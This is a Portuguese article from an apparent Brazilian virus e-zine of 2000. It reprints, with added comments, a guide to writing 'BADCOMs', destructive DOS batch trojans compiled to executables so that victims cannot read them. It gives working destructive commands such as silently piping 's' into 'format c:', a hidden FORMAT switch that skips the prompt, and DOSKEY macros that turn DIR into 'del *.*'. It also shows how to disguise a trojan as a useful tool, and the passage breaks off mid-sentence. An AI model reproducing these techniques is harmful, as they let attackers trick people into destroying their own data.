Virus Brasil nº6:(VIRBR06.333):01/04/2000 << Back To Virus Brasil nº 6
────────────────────────────────────────────────────────────────────────── __ ___ ___ / __ . __ |\/| |__| | |__ |__) | |__| | | | | | |___ | \ | | | ────────────────────────────────────────────────────────────────────────── ─────────────────────────────────────────────── 33333 - Trojans BAT Compilados (Bad Com's) ─────────────────────────────────────────────── Bom em se tratando de trojan, voce pode faze-los na linguagem que lhe for conveniente, nesse texto, sera abordado os trojans feitos sob o DOS mesmo, sao os trojans feitos em arquivos BAT, sua complexidade e utilizacao, vao a criterio de qualquer um, dependendo apenas de sua imaginacao e criatividade ... Materia retirada da Internet infelizmente nao me lembro a HomePage, o Texto esta na integra, os comentarios entre parenteses sao meus, o texto e' de autoria de agm.overlord@usa.net e seu ICQ# é 1941484. Agradeco ao autor do texto e que seus direitos sejam respeitados. Que? E' isso ai o texto do cara ta ai co nominho dele tudo certinho e com as modificacoes indicadas. Preserve o Trabalho de quem ralou pra caralho, copie modifique, mas indique quem teve a 1ª ideia... T + ┌────────────────────────────────────────────────────────────────────────────┐ │\/\/\/\/\/\/\/\/\/\/\/\/\/ - - = [ AvIsO ] = - - \/\/\/\/\/\/\/\/\/\/\/\/\/\│ ├────────────────────────────────────────────────────────────────────────────┤ │ N╞o vou dizer que esse texto é apenas para fins informativos e que tudo │ │ que esta contido aqui n╞o deve ser usado porque eu sei muito bem que quem │ │ esta lendo isso quer mesmo é fuder o computador de alguém, mas lembre-se │ │ de que eu, ¥vërl¢r╤, n╞o estou nem aí com o que pode acontecer com você │ │ devido ao uso das informaçΣes aqui contidas. Se o seu cachorro morrer, │ │ você engravidar sua empregada ou se terroristas invadirem sua casa e │ │ explodirem seu computador n╞o venha me encher o saco, FODA-SE! :-) │ │ Use essas informaçΣes à vontade, mas faça tudo por SUA conta! │ │ │ │ Agora chega de falar merda e vamos ao que interessa... │ └────────────────────────────────────────────────────────────────────────────┘ ┌────────────────────────────────────────────────────────────────────────────┐ │\/\/\/\/\/\/\/\/\/\/\/\/\/\ - - = [ ╓nDicE ] = - - /\/\/\/\/\/\/\/\/\/\/\/\/│ └────────────────────────────────────────────────────────────────────────────┘ 1. IntroDuç╟o AoS BaDComS 1.1) InformaçΣes gerais 1.2) O que é necessario? 1.3) Como fazer um BADCOM? 2. ComAnDoS dO DoS 2.1) ECHO 2.2) DEL/ERASE 2.3) DELTREE 2.4) FORMAT 2.5) FOR 2.6) IF 2.7) SET/VARI╡VEIS NO DOS 2.8) GOTO 2.9) VER 2.10) VOL 2.11) CLS 2.12) ATTRIB 2.13) CALL 2.14) CHOICE & ERRORLEVELS 2.15) COPY 2.16) CTTY 2.17) DIR 2.18) TYPE 2.19) MORE 2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR 2.21) LABEL 2.22) FIND 2.23) PAUSE 2.24) REN/RENAME 2.25) SUBST 2.26) TIME 2.27) REM 2.28) DOSKEY 2.29) XCOPY 3. ReCurSos InTeRessAnTeS 3.1) PIPES 3.2) Redirecionamento de I/O 3.3) Diretórios inacessíveis 3.4) ANSI 4. ExEmPloS (100% ComENtAdoS) 4.1) Detectando o idioma do DOS 4.2) Detectando a data do computador 4.3) ANSIBOMB 4.4) Travando o computador 4.5) Time Bomb 4.6) Enchendo o HD de lixo 4.7) Abrindo janelas infinitamente 4.8) Usando o DOSKEY pra destruir 4.9) Travando o computador durante a inicializaç╞o { 4.A) Exemplos de Arquivos Bat 4.B) Trojan em BAT por p0indexter } 5. CoMo ConTaTar o AUtOr Ap╥nDiCe A: TaBeLa ASCii Apêndice B: ERRoRlEvElS ┌────────────────────────────────────────────────────────────────────────────┐ │/\/\/\/\/\/\/\/\/\ - - = [ IntroDuç╟o AoS BaDComS ] = - - /\/\/\/\/\/\/\/\/\│ └────────────────────────────────────────────────────────────────────────────┘ 1.1) InformaçΣes gerais BADCOMS s╞o, basicamente, arquivos batch do DOS transformados em arquivos executaveis com o uso de um compilador. "Mestre, mestre! Ilumine as trevas de minha ignorância com a luz de sua sapiência! Por que eu deveria me dar ao trabalho de compilar os batches?" Simples, qualquer imbecil sabe pra que servem comandos como o FORMAT ou DEL e qualquer imbecil também sabe usar o comando TYPE pra ver o conteúdo de um arquivo, logo, se esse mesmo imbecil der um TYPE no seu batch e ver qualquer comando "estranho", vai saber de suas mas intençΣes e n╞o vai rodar o programa. Se você transformar em um executavel , ninguém podera ler o conteúdo do arquivo e você poder fazer a festa! :-) { Mais ou menos, ta encriptado ? Deixa queto ... Se for compilar um arquivo BAT sugiro o BAT2EXE ou o TURBOBAT , se quiser dar uma encripada, utilize o CePExe Do MMI } 1.2) O que é necessario? Você precisa apenas de um editor de texto (MS-DOS Edit RuleZ!), um compilador de arquivos .BAT, conhecimentos basicos de DOS, criatividade e uma vontade louca de detonar alguém! :-) { A vontade louca de detonar alguem pode ser deixada de lado } Uma ferramente opcional: editor de telas ANSI, pra voce n╞o ter que escrever toneladas de códigos de escape pra fazer uma tela legal. Onde encontrar ferramentas úteis: -> http://www.filez.com 1.3) Como fazer um BADCOM? Facil. Abra seu editor ASCII favorito e escreva os comandos que você quiser. Mas um BADCOM n╞o adiantar nada se a interface n╞o for convincente. N╞o é nada inteligente exibir uma mensagem como "Ha, Ha, Ha! Detonei seu HD!", a melhor coisa a fazer é terminar o programa com uma mensagem de erro, porque se o cara vier te amolar você responde: "UÉ... AQUI FUNCIONOU LEGAL...". O principal é: SEJA REALISTA! Se você vai dizer pra sua vítima que o seu BADCOM é um MailBomber, faça ele se parecer com um MailBomber. Outra idéia legal é pegar qualquer arquivo executavel e renomear ele pra ?.DAT e mandar junto com o seu programa. Qualquer um desconfia quando você passa um único arquivo executavel de 2KB. { Aqui poderiamos ao fazer o bad com colocar lixo no seu final com um simples dir > badcom.com , por exemplo ...} ┌────────────────────────────────────────────────────────────────────────────┐ │\/\/\/\/\/\/\/\/\/\/\ - - = [ ComAnDoS dO DoS ] = - - /\/\/\/\/\/\/\/\/\/\/\│ └────────────────────────────────────────────────────────────────────────────┘ Essa parte contém varios comandos que podem ser utilizados n╞o só em BADCOMS mas em batches inofensivos. Para maiores informaçΣes sobre os comandos do DOS escreva HELP no prompt ou se quiser saber mais sobre um determinado comando escreva o comando e adicione a opç╞o /?. Exemplos: C> echo /? C> format /? C> for /? 2.1) ECHO Sintaxe: ECHO [string] Exemplo: C> echo Fuck You Fuck You O comando ECHO, de forma geral, exibe uma string na tela. Caso essa string seja OFF, desativar a exibiç╞o dos comandos na tela. Se for ON, ativar a mesma. Exemplo de arquivo: [echo1.bat] echo on echo ECHO esta ativado echo off echo ECHO esta desativado Quando você rodar esse programa, vera o seguinte: C> echo on C> echo ECHO esta ativado ECHO esta ativado C> echo off ECHO esta desativado Colocar uma @ antes do primeiro comando de cada linha, equivale ao ECHO OFF, mas apenas nessa linha. Para que o programa fique melhor, aconselha-se colocar o comando @ECHO OFF na PRIMEIRA linha do programa, assim você n╞o precisa colocar uma @ antes de cada linha. 2.2) DEL/ERASE Sintaxe: DEL [nome_do_arquivo] ERASE [nome_do_arquivo] Exemplos: C> del autoexec.bat C> erase autoexec.bat Esse comando n╞o precisa de muita explicaç╞o. Apenas exclui o arquivo especificado. WildCards podem ser usadas (* e ?). 2.3) DELTREE Sintaxe: DELTREE (/Y) [nome_do_arquivo] Exemplos: C> deltree c:\windows C> deltree /y c:\games Também n╞o tem muito segredo. Exclui um diretório e tudo que tiver dentro dele. A opç╞o /Y detona tudo sem pedir confirmaç╞o mas deve ser usado logo após o comando DELTREE. Isso N╟O funcionaria: C> deltree c:\windows /y 2.4) FORMAT Sintaxe: FORMAT (/Q) (/U) (/V:label) [unidade_a_ser_detonada] Exemplos: C> format /q a: C> format /u c: O comando mais divertido que pode ser usado em BADCOMS. Fode o drive especificado literalmente. A opç╞o /Q realiza uma formataç╞o r pida e /U realiza uma formataç╞o incondicional. A opç╞o /V:label espeficifica o nome do volume da unidade, n╞o tem muito segredo... Mas se o drive especificado for um HD aparecer uma pergunta estúpida, que o cara responde N╟O e mantém o HD a salvo. Veja mais a frente como resolver isso. { Bom como estou comentando o texto `a medida que vou lendo, aqui cabe uma observacao de debugador , existem em arquivos do MS_DOS comandos de teste , que por algum fato o programador que fez o arquivo esqueceu-se ou deixou de proposito, parametros especiais, em uma de minhas debugadas, descobri que o format e' um desses, e dentre um de seus parametros "ocultos" , esta o que formata sem perguntar porra nenhuma. Anota ai : A opcao e' /Autotest .... } 2.5) FOR Sintaxe: FOR %a in (arquivo1 arquivo2...) DO [comando] %a Exemplo: C> for %a in (autoexec.bat config.sys) do del %a Supunhetemos que você queira executar o mesmo comando pra varios arquivos. Ao invés de escrever o mesmo comando uma porrada de vezes, use o comando FOR. Explicando detalhadamente: - O comando FOR define uma variavel chamada %a (ou qualquer letra) e define o valor dessa variavel com os nomes que est╞o entre parênteses. Feito isso, executa um comando cujo parâmetro principal é a variavel %a. Outro exemplo: C> for %a in (autoexec.bat config.sys command.com) do del %a Fara o seguinte: C> del autoexec.bat C> del config.sys C> del command.com Simples, n╞o? 2.6) IF Sintaxe: IF [condiç╞o] [comando] Exemplos: if exist c:\autoexec.bat del autoexec.bat if not exist c:\1.bat echo 1 j foi deletado if "%1"=="fuckyou" echo Fuck You if not "%1"=="fuckyou" echo Don't Fuck You if errorlevel 1 goto 1 O comando IF testa uma condicional e se ela for verdadeira, executa um comando. O primeiro exemplo verifica se existe o arquivo c:\autoexec.bat e se existir, deleta ele. O segundo exemplo testa se o arquivo c:\autoexec.bat N╟O existe. Se n╞o existir, exibe a mensagem "1 j foi deletado". O terceiro exemplo testa se a vari vel %1 é igual a "fuckyou". Se for, exibe a mensagem "Fuck You". O quarto exemplo testa se a vari vel %1 é DIFERENTE de "fuckyou". Se for, exibe a mensagem "Don't Fuck You". O último exemplo testa se foi retornado um errorlevel igual a 1. Veja sobre os errorlevels mais a frente. 2.7) SET/VARI╡VEIS NO DOS Sintaxe: SET [vari vel] = [valor] Exemplos: set variavel = qualquermerda set drive = C:\ O comando SET define uma variavel de ambiente no DOS. Isso é muito útil na programaç╞o de batches. Acho que com um exemplo fica melhor de explicar: C> set scream=argh Isso criar uma variavel chamada "scream" e definir seu valor como "argh". Se você escrever no DOS: C> echo %scream% Vera a palavra "argh" no lugar de "%scream%": C> echo %scream% argh Ou seja, sempre que você quiser fazer uma referência a uma variavel j definida, usa-se %nome_da_vari vel%. Como unir duas variaveis em uma só: suponhamos que você tenha duas vari veis. Uma chamada "bah1" com o valor "1234567" e outra chamada "bah2" com o valor "8910" se você quiser juntar as duas, é só fazer o seguinte: C> set BAAAAHHH=%bah1% ; %bah2% { O phoda em criar variaveis de ambiente e' que voce pode esgotar esse espaco , procure no help do DOS como aumentar o espaco ambiente } Neste exemplo estúpido que eu dei n╞o parece ser uma coisa muito útil, mas n╞o se engane porque É! Outro tipo de vari vel s╞o as especificadas na linha de comando. Elas s╞o %1, %2, %3 até %9. Como eu disse elas s╞o especificadas na linha de comando, ou seja quando você roda o batch. Exemplo: [hd_fuck.bat] @echo off if "%1" == "" goto erro echo Preparando pra fuder o drive %1! format %1 goto fim :erro echo Seu imbecil, especifique o drive que você quer detonar! goto fim :fim Rodando o arquivo dessa maneira... C> hd_fuck C: ...você ver o seguinte: Preparando pra fuder o drive C:! AVISO, TODOS OS DADOS NO DISCO N╟O-REMOV╓VEL UNIDADE C: SER╟O PERDIDOS! Continuar com o Format (S/N)? Mas se n╞o especificar nenhum parâmetro... C> hd_fuck ...resulta em: Seu imbecil, especifique o drive que você quer detonar! Como você pôde perceber, 1% nesse exemplo era igual a C:. Note que foi utilizado o comando IF para verificar se a variavel %1 era existente. Outra coisa que n╞o pode passar despercebida foi o uso do comando GOTO que ser explicado logo a seguir... Mais um detalhe: o FORMAT pediu a confirmaç╞o idiota antes de detonar o HD... Em breve resolveremos isso... 8-) { Espero, ou utilize o comando /Autotest } 2.8) GOTO Sintaxe: GOTO [nome] Exemplos: goto hora_de_fuder_o_hd goto erro O comando GOTO só pode ser usado dentro de arquivos batch e serve para direcionar o programa para a linha especificada em [nome]. Quando o DOS encontra essa linha, executa todos os comandos existentes a partir dela. O nome da linha é especificado com um :[nome]. Exemplo: [goto.bat] @echo off goto fuckyou echo Você vai se fuder... :fuckyou echo Se fudeu! Muito simples. Logo no começo do programa DOS é direcionado para a linha chamada "fuckyou" e exibe a mensagem "Se fudeu!", ou seja, a segunda linha, "echo Você vai se fuder..." n╞o é executada porque o DOS foi direcionado pra uma linha APαS esse comando. LOOPS INFINITOS: muito facil. Basta ver o exemplo abaixo: [loop.bat] @echo off :loop dir goto loop Isso roda o comando DIR infinitamente, até o cara apertar CTRL+C ou desligar o computador... { Veio, to comecando a achar que era melhor eu comecar um texto do nada, ta meio fraco esse aqui ... Mas ta valendo, vamos prestigiar o trabalho da galera ... Se voce desabilitar o BREAK (Ctrl + C) o cara nao conseguirar parar o arquivo de lote, o comando e' basico e se resume a: BREAK OFF } 2.9) VER Sintaxe: VER Exemplo: BAH! Exibe qual a vers╞o do DOS você esta usando. Aparentemente é um comando idiota e sem utilidade mas com um pouco decriatividade ele se torna um comando MUITO útil... Você vai entender mais pra frente... 2.10) VOL Sintaxe: VOL Exemplo: BAH! Mostra o nome de volume da sua unidade... Semelhante ao comando acima, muito útil pra quem é criativo. 2.11) CLS Sintaxe: CLS Exemplo: BAH! Apaga tudo que tem na tela. 2.12) ATTRIB Sintaxe: ATTRIB (+A) (+R) (+H) (+S) [nome_do_arquivo] ATTRIB (-A) (-R) (-H) (-S) [nome_do_arquivo] Exemplos: attrib +h c:\ruimdows attrib +s c:\config.sys attrib -r c:\command.com Define um attributo pra um arquivo ou diretório. É óbvio que o sinal de mais (+) indica que um atributo esta sendo definido e um sinal de menos (-) indica que um atributo esta sendo removido. Os atributos s╞o: A -> Atributo de Arquivo. Que diabos é isso? Supunhetemos que você queira copiar todos os arquivos que est╞o em um disquete para outro, menos os de extens╞o .VIR. O que você faz? { Peco pro meu irmaozinho de 5 anos fazer o trampo pra mim ... } C> attrib +a a:\*.* C> attrib -a a:\*.vir Aí você usa o comando XCOPY: C> xcopy a: b: /a Meio esquisito, mas é isso... R -> Atributo de somente para leitura. O arquivo n╞o pode ser modificado ou deletado a n╞o ser que o atributo seja removido. H -> Atributo de arquivo oculto. Só um burro pra n╞o perceber que isso esconde o arquivo. S -> Atributo de arquivo de sistema. Acho que, na pratica, é a mesma coisa que o atributo H. 2.13) CALL Sintaxe: CALL [nome_do_arquivo_batch] Exemplo: call virus.bat Comando usando DENTRO de arquivos batch que serve para chamar OUTROS arquivos batch, ou seja, roda outro arquivo batch mas sem parar de rodar o primeiro. Exemplo: [1.bat] @echo off echo Esse é o arquivo batch 1... call 2.bat echo De volta pro batch 1... [2.bat] @echo off echo Esse é o arquivo batch 2... Resulta em: C> 1 Esse é o arquivo batch 1... Esse é o arquivo batch 2... De volta pro batch 1... 2.14) CHOICE & ERRORLEVELS Sintaxe: CHOICE /C:[teclas] [texto] Exemplo: choice /c:123 Escolha uma opç╞o: Esse comando exibe uma mensagem, espera que o usuario escolha uma das teclas especificadas e retorna um valor de errorlevel, de acordo com a tecla. Exemplo: [fuck.bat] @echo off choice /c:123 Escolha uma opç╞o: if errorlevel 3 goto opcao3 if errorlevel 2 goto opcao2 if errorlevel 1 goto opcao1 :opcao1 echo Opç╞o 1 escolhida goto fim :opcao2 echo Opç╞o 2 escolhida goto fim :opcao3 echo Opç╞o 3 escolhida goto fim :fim Rodando isso, vai acontecer o seguinte: C> fuck Escolha uma opç╞o:[1,2,3]? Se você escolher a opç╞o 1: C> fuck Escolha uma opç╞o:[1,2,3]?1 Opç╞o 1 escolhida Se escolher a 2: C> fuck Escolha uma opç╞o:[1,2,3]?2 Opç╞o 2 escolhida E por último: C> fuck Escolha uma opç╞o:[1,2,3]?3 Opç╞o 3 escolhida Ou seja, o comando CHOICE é muito étil para a criaç╞o de menus, etc. Mas o que diabos s╞o os ERRORLEVELS? S╞o valores retornados pelos comandos do DOS, de acordo com o que causou o fim do programa. Geralmente, quando um comando/programa pra DOS termina normalmente, sem nenhum erro, retorna um ERRORLEVEL igual a 0. Os outros valores variam de acordo com os comandos. Veja uma lista de ERRORLEVELS mais adiante. Os errorlevels só podem ser usados com o comando IF. Usando esse recurso, você tornar seus batches melhores pois o mesmo poder tomar decisΣes de acordo com o valor de errorlevel. Note que, quando você usa o comando CHOICE, o comando IF deve testar os valores de errorlevel do maior para o menor. Veja um exemplo: [errorlev.bat] @echo off del autoexec.bat if errorlevel 0 echo N╟O OCORREU NENHUM PROBLEMA Isso fara o seguinte: C> errorlev N╟O OCORREU NENHUM PROBLEMA Lógico que essa mensagem só ser exibida se nenhum erro ocorrer. Explicando melhor: se n╞o ocorrer nenhum problema na hora de deletar o arquivo, o DEL retornar um errorlevel 0. Você também pode fazer assim: [errorsuck.bat] @echo off del c:\config.sys if not errorlevel 0 goto OPS echo N╞o ocorreu nenhum problema. goto fim :OPS echo Alguma coisa errada ocorreu. goto fim :fim Esse exemplo é melhor, pois testa se o comando DEL N╟O retornou um errorlevel 0. Como o errorlevel 0 significa que nada de errado ocorreu, um errorlevel diferente de 0 significa que algo anormal aconteceu. Se ocorrer algo anormal ele exibe a mensagem "Alguma coisa errada ocorreu" mas se tudo der certo exibe "N╞o ocorreu nenhum problema". { Uma logica meio que interessante ... } 2.15) COPY Sintaxe: COPY [origem] [destino] Exemplos: copy *.* c:\ruimdows copy c:\win95\*.* c:\autoexec.bat Copia os arquivos especificados para um diretório ou para outro arquivo. 2.16) CTTY Sintaxe: CTTY [novo_dispositivo_de_entrada] Exemplo: ctty nul Este comando altera o dispositivo de entrada de dados do padr╞o (teclado) para outro que você especificar. Mais tarde você entender melhor isso... 2.17) DIR Sintaxe: DIR [/S] [/P] [/W] [nome_do_arquivo] Exemplos: dir /s dir autoexec.bat Este comando n╞o tem muito segredo. Se você n╞o souber usar o comando DIR, escreva no prompt do DOS: C> echo s | format c: 2.18) TYPE Sintaxe: TYPE [nome_de_arquivo] Exemplo: type msdos.sys N╞o tem complicaç╞o. Exibe o conteúdo de um arquivo (sem fazer pausa entre as p ginas). Pode ser usado em conjunto com o comando MORE. 2.19) MORE Sintaxe: MORE [nome_do_arquivo] TYPE [nome_do_arquivo] | MORE (depende da vers╞o do DOS) Exemplo: more sucks.txt type badcom.faq | more O comando MORE é idêntico ao comando TYPE, mas ao final de cada pagina, faz uma pausa. Em versΣes mais antigas do DOS, o MORE só funciona se for feito um PIPE com o comando TYPE. 2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR Sintaxe: MD [nome_do_diretório] ou MKDIR [nome_do_diretório] CD [diretório] ou CHDIR [diretório] RD [diretório_vazio] ou RMDIR [diretório_vazio] MD/MKDIR cria um diretório, CD/CHDIR chama (vai para) um diretório e o RD/RMDIR deleta um diretório (só se o dito cujo estiver VAZIO). 2.21) LABEL Sintaxe: LABEL [nome_de_volume] Exemplo: label se_fudeu Muda o nome de volume da unidade atual. 2.22) FIND Sintaxe: FIND "string_procurada" [nome_do_arquivo] Exemplo: find "fuck" c:\trash.txt Procura por uma string em um determinado arquivo. Muito útil se utilizado juntamente com os errorlevels. 2.23) PAUSE Sintaxe: PAUSE Exemplo: BAH! Faz uma pausa no batch, até que o usu rio pressione qualquer tecla. Também exibe a mensagem " Pressione qualquer tecla para continuar..." 2.24) REN/RENAME Sintaxe: REN [nome_do_arquivo] [novo_nome] RENAME [nome_do_arquivo] [novo_nome] Exemplos: ren autoexec.bat noway.bat rename config.sys huahuahua.com Muda o nome de um arquivo. 2.25) SUBST Sintaxe: SUBST [nova_letra_de_unidade] [caminho] SUBST [unidade] /D Exemplo: subst f: c:\fuck subst f: /d Define uma letra de unidade para um determinado diretório. Se você usar a opç╞o /D, o SUBST vai desativar a letra da unidade J╡ CRIADA pelo comando SUBST. Só vai funcionar se houver a seguinte linha no CONFIG.SYS: LASTDRIVE=Z 2.26) TIME Sintaxe: TIME Exemplo: BAH! Exibe a hora atual. 2.27) REM Sintaxe: REM [texto] Exemplo: rem Este é um comentario O comando REM é usado quando você quer adicionar um comentario ao seu batch. { Caralho, bom deixa queto ... } 2.28) DOSKEY Sintaxe: DOSKEY [macro] [texto] /ECHO:on|off Exemplo: doskey dir del *.* O DOSKEY tem varias utilidades, mas só vou explicar uma, talvez a mais útil delas. Usando o DOSKEY você pode criar macros, ou seja atribuir comandos a palavras (como um ALIAS). A utilidade disso num BADCOM é que você pode trocar os comandos do DOS do cara por outros. Veja o exemplo acima. Esse exemplo faz com que o comando DIR execute o comando DEL *.*. Você pode usar isso como um Time Bomb ou pode apenas deixar sua vítima com o saco cheio mudando todos os comandos do DOS para besteiras sem sentido nenhum. A opç╞o /ECHO define se os comandos da macro ser╞o exibidos. Se for desativado, é equivalente ao "@ECHO OFF". Alguns caracteres especiais de código de definiç╞o de macro: $T: Separador de comando. Permite varios comandos em uma só macro. $1 a $9: Parâmetros da macro. Igual a %1 a %9. $*: Símbolo substituído por tudo após o nome da macro na linha de comando. Um detalhe, se sua vítima pressionar ALT+F10 todas as macros que você criou ser╞o desativadas. 2.29) XCOPY Sintaxe: XCOPY [origem] [destino] [/S] Exemplo: xcopy c:\games d:\fuck /s Semelhante ao COPY, só que mais rapido, pois carrega todos os arquivos na memória e só depois copia-os. Se a opç╞o /S for usada todos os subdiretórios e arquivos de um diretório também ser╞o copiados. ┌────────────────────────────────────────────────────────────────────────────┐ │/\/\/\/\/\/\/\/\/\ - - = [ RecuRsOs InTeReSSaNteS ] = - - \/\/\/\/\/\/\/\/\ │ └────────────────────────────────────────────────────────────────────────────┘ Aqui você vai encontrar uns recursos que tornar╞o seus BADCOMS muito melhores, e conseqüentemente, mais destrutivos :-). 3.1) PIPES Sintaxe: [comando_do_dos_1] | [comando_do_dos_2] Exemplo: type damnit.txt | more Um pipe n╞o é bem um comando. É um recurso do DOS que permite que você use um comando conectado a outro. É meio phoda de explicar, o melhor é ver pelos exemplos: { Ah parei o cara tambem escreve phoda com ph ... } C> echo s | format c: Isso fara com que o FORMAT detone o HD diretamente, sem pedir confirmaç╞o, ou melhor, o FORMAT PEDE a confirmaç╞o, mas ja vai ter uma resposta imediata: a letra S. Se você escrever esse comando, ver o seguinte: AVISO, TODOS OS DADOS NO DISCO N╟O-REMOV╓VEL UNIDADE C: SER╟O PERDIDOS! Continuar com o Format (S/N)?s Explicando melhor, é como se o DOS rodasse os dois comandos ao mesmo tempo e juntasse os resultados em um só. No exemplo acima o DOS exibe a letra "s" ao mesmo tempo que o FORMAT pede uma confirmaç╞o a respeito da formataç╞o. O mesmo vale para o exemplo do TYPE. { Agora ficou claro, muito bom ... } 3.2) Redirecionamento de I/O Este é um dos melhores recursos que existem na ediç╞o de BADCOMS. Antes de tudo, REDIRECIONAMENTO DE I/O significa REDIRECIONAMENTO DE IN/OUT ou REDIRECIONAMENTO DE ENTRADA E SA╓DA. "Mestre, mestre! Alimente a minha fome de saber com o p╞o de sua inteligência! N╞o entendi nada! Qual a utilidade pratica disso?" It's too easy... Em um computador existem dispositivos de entrada de dados e de saída de dados. O que você usa pra inserir dados no seu computador? "N╞o sei, mestre." ANIMAL! É o teclado! Da mesma forma que o dispositivo usado para a saída de dados é o monitor. Ou seja, todos os dados que você insere pelo teclado saem (s╞o exibidos) no monitor. No DOS (e em outros sistemas) ocorre uma coisa muito legal que é o redirecionamento de I/O. Você pode direcionar a saída de dados para outros dispositivos ou até mesmo para arquivos. "Mestre, como eu direciono um comando para outro dispositivo ou arquivo?" De acordo com a seguinte sintaxe: COMANDO > [dispositivo_ou_arquivo] ou COMANDO >> [dispositivo_ou_arquivo] Qual a diferença entre usar ">" ou ">>"? Veja os exemplos: C> echo merda,caralho,putaqpariu > palavroes.txt C> echo porra,bosta,cacete >> palavroes.txt O primeiro exemplo vai CRIAR um arquivo chamado "palavroes.txt" contendo as palavras "merda,caralho,putaqpariu". O segundo exemplo vai ADICIONAR as palavras " porra, bosta, cacete" no arquivo j criado " palavrΣes.txt". Ou seja, o síbolo ">" vai CRIAR um novo arquivo e se ele j existir, vai ser sobreescrito. O símbolo ">>" vai ADICIONAR a string à última linha de um arquivo j existente. Se o arquivo especificado n╞o existir, ele ser criado. Mais exemplos: C> dir /s > c:\listdir.txt Isso criar um arquivo chamado "listdir.txt" contendo TODOS os arquivos existentes no HD. O redirecionamento pode ser feito com qualquer comando do DOS. Lista dos dispositivos do DOS: AUX: primeira porta serial CLOCK$: relógio do sistema COM1: primeira porta serial COM2: segunda porta serial COM3: terceira porta serial COM4: quarta porta serial CON: teclado LPT1: primeira impressora LPT2: segunda impressora LPT3: terceira impressora NUL: dispositivo nulo PRN: primeira impressora Direcionar os comandos do DOS para o dispositivo NUL é muito útil, especialmente quando você n╞o quer que o comando exiba nenhuma mensagem na tela. Exemplo: [pause1.bat] @echo off pause > nul echo Pressione uma tecla... rem pause > nul poderia ser substituído por pause >> nul Isso faz com que a mensagem padr╞o do PAUSE n╞o seja exibida, pois ela foi direcionada para NUL, mas o programa vai continuar esperando até o usuario apertar uma tecla e vai exibir uma mensagem diferente. Outro exemplo: C> echo s | format c: >> nul Vai formatar o HD sem exibir nada na tela, ou seja, até o cara perceber o que esta acontecendo o HD dele ja foi pro espaço! Ha, Ha, Ha! :-D { Assim e' muito facil tem que ter o periodo de imcubacao ao menos ... } Mas você também pode redirecionar o dispositivo de ENTRADA para um arquivo ou dispositivo, o que seria QUASE a mesma coisa que um PIPE. Por que "QUASE"? Supunhetemos que você tem um programa que pede que você pressione a tecla ENTER antes de começar a funcionar e você quer rodar esse programa direto, sem ter que apertar ENTER. Como fazer isso? Você cria um arquivo que contenha o ENTER e redireciona a entrada de dados do seu programa para esse arquivo. "Mas eu n╞o sei fazer isso..." É bem facil. Use o comando COPY CON. Isso copiar tudo que for inserido pelo dispositivo CON (também conhecido como teclado) para um arquivo. Veja esse exemplo: C> copy con enter.txt ----> Pressione ENTER ----> Pressione ENTER ----> Pressione ENTER ^Z ----> Pressione CTRL+Z e depois ENTER 1 arquivo(s) copiado(s) Isso vai criar um arquivo de 6 bytes, que se parecer com um arquivo vazio, mas que conter o caractere ENTER. Na verdade, n╞o é necessario apertar ENTER três vezes na hora em que você esta criando o "enter.txt", uma vez basta, mas é bom garantir... { E' bom garantir e' novas mas e' bom mesmo ... } Agora que o seu arquivo ja esta criado, você deve proceder de acordo com a seguinte sintaxe para direcionar a entrada de dados: COMANDO < arquivo Por exemplo, você quer rodar o comando TIME, mas n╞o quer que apareça aquela babaquice de "Digite a nova hora:". Basta que você direcione o comando TIME pro arquivo ja criado "enter.txt", assim: C> time < enter.txt A hora atual é **:**:**,** Digite a nova hora: C> É como se o ENTER fosse pressionado automaticamente, retornando imediatamente ao prompt. Mas o arquivo a qual você vai direcionar pode ter um conteúdo diferente. Pode conter a letra "s", no caso do programa pedir uma confirmaç╞o, pode conter um "n", depende do programa. Se você criar um arquivo chamado "s.txt", obviamente contendo a letra "s" e um ENTER você pode redirecionar o FORMAT, detonando o HD sem pedir confirmaç╞o: C> format c: < s.txt Uma coisa que você n╞o pode esquecer em hipótese alguma, é de mandar o arquivo que você usa para o redirecionamento junto com o seu BADCOM, sen╞o n╞o vai adiantar porra nenhuma. { Bom, eu daria como sugestao que o bad com criasse o redireciona- mento caso ele nao existisse e o executa-se ... } 3.3) Diretórios inacessíveis Um truque legal que pode ser feito no DOS: se você criar um diretório usando caracteres estendidos ASCII (veja a tabela na próxima parte) o Ruimdows n╞o reconhecer esses diretórios e exibir um monte de mensagens de erro quando alguém tenta acessar os mesmos. Θtil pra quando você quiser entupir o HD de alguém com besteira e deixar sua vítima desesperada sem saber como deletar esse diretório. Mas n╞o s╞o todos os caracteres ASCII que criam diretórios inacessíveis. Veja alguns caracteres que quando usados com o MD impede o Ruimdows de reconhecê-los: ■ (254), ╒ (213), ┘ (217), █ (987), ┘ (985), ┌ (986), ├ (963), ┴ (961), ┬ (962), └ (960), ┼ (965), ─ (964), ╚ (968), ╔ (969), ▄ (988), ▀ (991). Como criar um diretório inacessível: C> md [SEGURA ALT+CαDIGO DO CARACTERE+SOLTA ALT] Os erros que um diretório desses causa no Ruimdows: quando você da 2 cliques no diretório (no Windows o nome dele ser "_") aparecer a seguinte mensagem: ┌───────────────────────────────┐ ├───────────────────────────────┤ │ A pasta 'C:\_' n╞o existe. │ │ │ │ < OK > │ └───────────────────────────────┘ Tentando renomear a pasta , aparece: ┌─────────────────────────────────┐ ├─────────────────────────────────┤ │ Impossível renomear _: N╞o é │ │ possível encontrar o arquivo │ │ especificado. │ │ │ │ < OK > │ └─────────────────────────────────┘ Se tentar deletar o diretório: ┌─────────────────────────────────┐ ├─────────────────────────────────┤ │ Impossível remover _: N╞o é │ │ possível encontrar o arquivo │ │ especificado. │ │ │ │ < OK > │ └─────────────────────────────────┘ O cara só poder remover esse diretório pelo DOS, isso se ele conhecer a tabela ASCII. Ou seja, ta fudido! :-) Uma boa idéia é criar um batch que remova o diretório inacessível. Veja os exemplos: [baddir.bat] @echo off md ■ [anti_baddir.bat] @echo off rd ■ O primeiro exemplo cria um diretório inacessível e o segundo exemplo exclui o diretório. 3.4) ANSI ANSI é outro recurso muito interessante do DOS, mas que n╞o é muito utilizado. Com o ANSI você pode mudar a cor dos caracteres da tela, mudar a forma como eles s╞o exibidos, remapear seu teclado, fazer ANSIBOMBS e tornar seus BADCOMS muito melhores. "Mestre, mestre! Onde eu compro o CD desse tal de ANSI?" IDIOTA! No seu diretório \DOS ou \WINDOWS\COMMAND existe um arquivo chamado ANSI.SYS. Basta adicionar a seguinte linha no seu arquivo CONFIG.SYS: DEVICE=[caminho]\ansi.sys Depois de fazer isso, reinicie seu computador e pronto! Você ja pode usar o 